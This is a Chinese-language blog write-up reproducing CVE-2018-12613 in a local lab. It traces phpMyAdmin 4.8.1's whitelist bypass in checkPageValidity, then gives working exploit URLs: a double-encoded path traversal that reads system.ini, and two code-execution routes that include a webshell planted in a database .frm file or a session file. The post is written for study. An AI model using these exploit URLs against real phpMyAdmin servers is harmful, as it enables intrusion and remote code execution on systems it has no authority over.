【CVE】CVE-2018-12613:windows 复现 phpMyAdmin 本地文件包含造成远程代码执行漏洞
起序:在做 Web
题遇到的,复现一下。
一、靶场环境
- VMware Workstation 15.5 Pro
- cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408.iso
- phpStudy 2018
- phpMyAdmin-4.8.1-all-languages
二、漏洞分析
1、本地文件包含
LFI(本地文件包含)
,是指当服务器开启allow_url_include
选项时,就可以通过php的某些特性函数include(),require()和include_once(),require_once()
利用url
去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
2、远程代码执行
RCE(远程代码执行)
,远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。
3、源码审计
1、index.php
文件路径:
phpMyAdmin-4.8.1-all-languages/index.php
想要实现
本地文件包含
,必须满足if()
内中的五个条件:
target
参数不能为空;target
参数为字符串;target
参数值不以index
开头;target
参数值不在$target_blacklist
黑名单中;- 过
checkPageValidity()
函数的检查,函数在下面Core.php
文件中。
2、Core.php
文件路径:
phpMyAdmin-4.8.1-all-languages/libraries/classes/Core.php
可以看到
Core
类的checkPageValidity()
函数中又必须经过以下的五个判断:
$whitelist
为空就引用申明的$goto_whitelist
;$page
如果没有定义或者$page
不为字符串就返回false
;$page
如果存在在$whitelist
中返回true
;- 如果
$_page
存在在$whitelist
中返回true
; - 经过
urldecode
函数解码后的$_page
存在在$whitelist
中返回true
。
我们可以看到在
index.php
调用checkPageValidity
函数时没有传入其他参数,因此会进入第一个判断,而$goto_whitelist
如下所示:它定义了很多可以被包含的文件名。
然后第二个判断可以跳过;
看第三个判断,可以看到
$page
参数是不在$whitelist
中的,此处不满足;看第四个判断,这个判断是对
$_page
进行的,校验$_page
是否在白名单中,而$_page
是将$page
值末尾加上?
后从字符串第0位开始分割,取其中第一次出现?
之前的内容。
- 如下图所示:
target=sql.ph%3fp
时:
http://192.168.1.126/phpMyAdmin/index.php?target=sql.ph%3fp
我复现的时候,没有显示出来。是不是因为这个版本是 4.8.1
版本?先留一下。
4、影响版本
- phpMyAdmin-4.8.0
- phpMyAdmin-4.8.0.1
- phpMyAdmin-4.8.1
三、漏洞利用
1、任意文件包含
1、system.ini
查看一下
C:\Windows\system.ini
内容:
2、访问
因为本次
复现 CVE-2018-12613
使用的Windows
系统,所以需要查看phpStudy
的安装目录。可以看出安装的目录是E:\phpStudy\
目录下。
show variables like '%datadir%';
这个漏洞是
本地文件包含
,是针对所有的文件,所以可以说是任意本地文件包含
。是通过目录穿越包含任意文件。
-
分析下面的
url
,已得知phpStudy
安装在E:\
盘下target=db_sql.php
:db_sql.php 是和 index.php 同目录下的文件
;%253f
:两次 url 编码,第一次解码为 %3f,第二次解码为 ?(%253f → %3f → ?),这便符合了?前内容在白名单的要求
;/../../../../../../
:phpMyAdmin 是在 E:\phpStudy\PHPTutorial\WWW\ 目录下,这一点是在安装的时候就确定的
;
http://192.168.1.126/phpMyAdmin/index.php?target=db_sql.php%253f/../../../../../../Windows/system.ini
2、任意代码执行
1、利用数据库创建 shell
1、创建表和字段
这是参考 ChaMd5安全团队 这篇文章。
- WebShell写入到数据库中然后包含数据库文件?
本地测试了一下,发现如果把
WebShell
当做数据表的字段值是可以完美的写入到数据库文件当中的:在
test 库
中新建一个表,我这命名为shell
,让一句话木马为字段。
保存
2、查询生成文件的绝对路径
这个在
任意文件包含
中已经使用过了。
show variables like '%datadir%';
可知生成文件的据对路径为
E:\phpStudy\PHPTutorial\MySQL\data\数据库名\表名.frm
。
3、本地包含生成文件
可以看出
远程代码执行(RCE)
成功。路径可以参考我上面画的图片,这里就不再画了。
# s 是一句话木马中的密码
http://192.168.1.126/phpMyAdmin/index.php?s=phpinfo();&target=db_sql.php%253f/../../../MySQL/data/test/shell.frm
2、利用 session
1、利用 session 文件创建 shell
执行 sql 语句
select "一句话木马"
2、查看生成的 session 文件
浏览器生成的 session:
pckua0oj8ds92uk3tns929bm941tm5mk
session
文件的绝对路径:E:\phpStudy\PHPTutorial\tmp\tmp
3、本地包含生成文件
可以看出
远程代码执行(RCE)
成功。路径可以参考我上面画的图片,这里就不再画了。
# s 是一句话木马中的密码
http://192.168.1.126/phpMyAdmin/index.php?s=phpinfo();&target=db_sql.php%253f/../../../tmp/tmp/sess_pckua0oj8ds92uk3tns929bm941tm5mk
注:在使用 session 文件
时,需要在 session
前面加上 sess_
。
如果对您有帮助,点个赞再走吧。
上一篇: IIS上传文件大小限制和上传时间限制
下一篇: IIS优化,支持10万并发